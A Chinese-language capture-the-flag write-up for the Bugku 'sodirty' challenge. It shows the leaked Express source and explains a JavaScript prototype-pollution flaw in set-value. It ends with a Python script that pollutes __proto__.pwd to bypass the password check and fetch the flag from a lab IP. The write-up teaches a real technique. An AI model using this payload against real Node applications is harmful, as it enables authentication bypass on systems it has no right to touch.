bugku-sodirty


打開題目

 

 

發現只有一個注冊的跳轉鏈接

點擊試試

 

 查看一下源代碼

也沒有發現

fuzz一下看看有沒有備份文件

找到了www.zip的備份文件

下載下來看看

 

 打開index.js得到源代碼

發現set-value,判斷存在js原型鏈污染

對於js原型鏈污染,下面這篇講的挺詳細的

https://blog.csdn.net/weixin_45551083/article/details/109589386

 1 var express = require('express');
 2 const setFn = require('set-value');
 3 var router = express.Router();
 4 
 5 
 6 const Admin = {
 7     "password":process.env.password?process.env.password:"password"
 8 }
 9 
10 
11 router.post("/getflag", function (req, res, next) {
12     if (req.body.password === undefined || req.body.password === req.session.challenger.password){
13         res.send("登錄失敗");
14     }else{
15         if(req.session.challenger.age > 79){
16             res.send("糟老頭子壞滴很");
17         }
18         let key = req.body.key.toString();
19         let password = req.body.password.toString();
20         if(Admin[key] === password){
21             res.send(process.env.flag ? process.env.flag : "flag{test}");
22         }else {
23             res.send("密碼錯誤,請使用管理員用戶名登錄.");
24         }
25     }
26 
27 });
28 router.get('/reg', function (req, res, next) {
29     req.session.challenger = {
30         "username": "user",
31         "password": "pass",
32         "age": 80
33     }
34     res.send("用戶創建成功!");
35 });
36 
37 router.get('/', function (req, res, next) {
38     res.redirect('index');
39 });
40 router.get('/index', function (req, res, next) {
41     res.send('<title>BUGKU-登錄</title><h1>前端被炒了<br><br><br><a href="./reg">注冊</a>');
42 });
43 router.post("/update", function (req, res, next) {
44     if(req.session.challenger === undefined){
45         res.redirect('/reg');
46     }else{
47         if (req.body.attrkey === undefined || req.body.attrval === undefined) {
48             res.send("傳參有誤");
49         }else {
50             let key = req.body.attrkey.toString();
51             let value = req.body.attrval.toString();
52             setFn(req.session.challenger, key, value);
53             res.send("修改成功");
54         }
55     }
56 });
57 
58 module.exports = router;

通過代碼可以發現

路由"/getflag"是用來獲取到flag,但存在驗證,首先需要傳參兩個參數key和password,並且對用戶字典中的age進行判斷,大於79會失敗

然后Admin[key]需要等於password,其中passwod為我們控制的 而Admin[key] 我們不知道

因為age是一個已經存在的變量,所以可以用post傳參去覆蓋

data={"attrkey":"age","attrval":"20"}
update(url,data)

而既然是原型鏈污染,就可以直接poc自定義一個password了

poc地址:http://114.67.246.176:15688/

借用一下別人的腳本,自己不是很會寫腳本。。

import requests
import random
from bs4 import BeautifulSoup
import re
import base64
s = requests.session() #保持同一個會話
def reg(url):
    url=url+"reg"
    r=s.get(url)
    print(r.text)

def update(url,data):
    url=url+"update"
    print(url)
    r=s.post(url,data=data)
    print(r.text)
def getflag(url,data):
    url=url+"getflag"
    r=s.post(url,data=data)
    print(r.text)

url="http://114.67.246.176:15688/"
reg(url)
data={"attrkey":"age","attrval":"20"}
update(url,data)
data={"attrkey":"__proto__.pwd","attrval":"123"}
update(url,data)
data={"password":"123","key":"pwd"}
getflag(url,data)

跑一下,成功得到flag

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM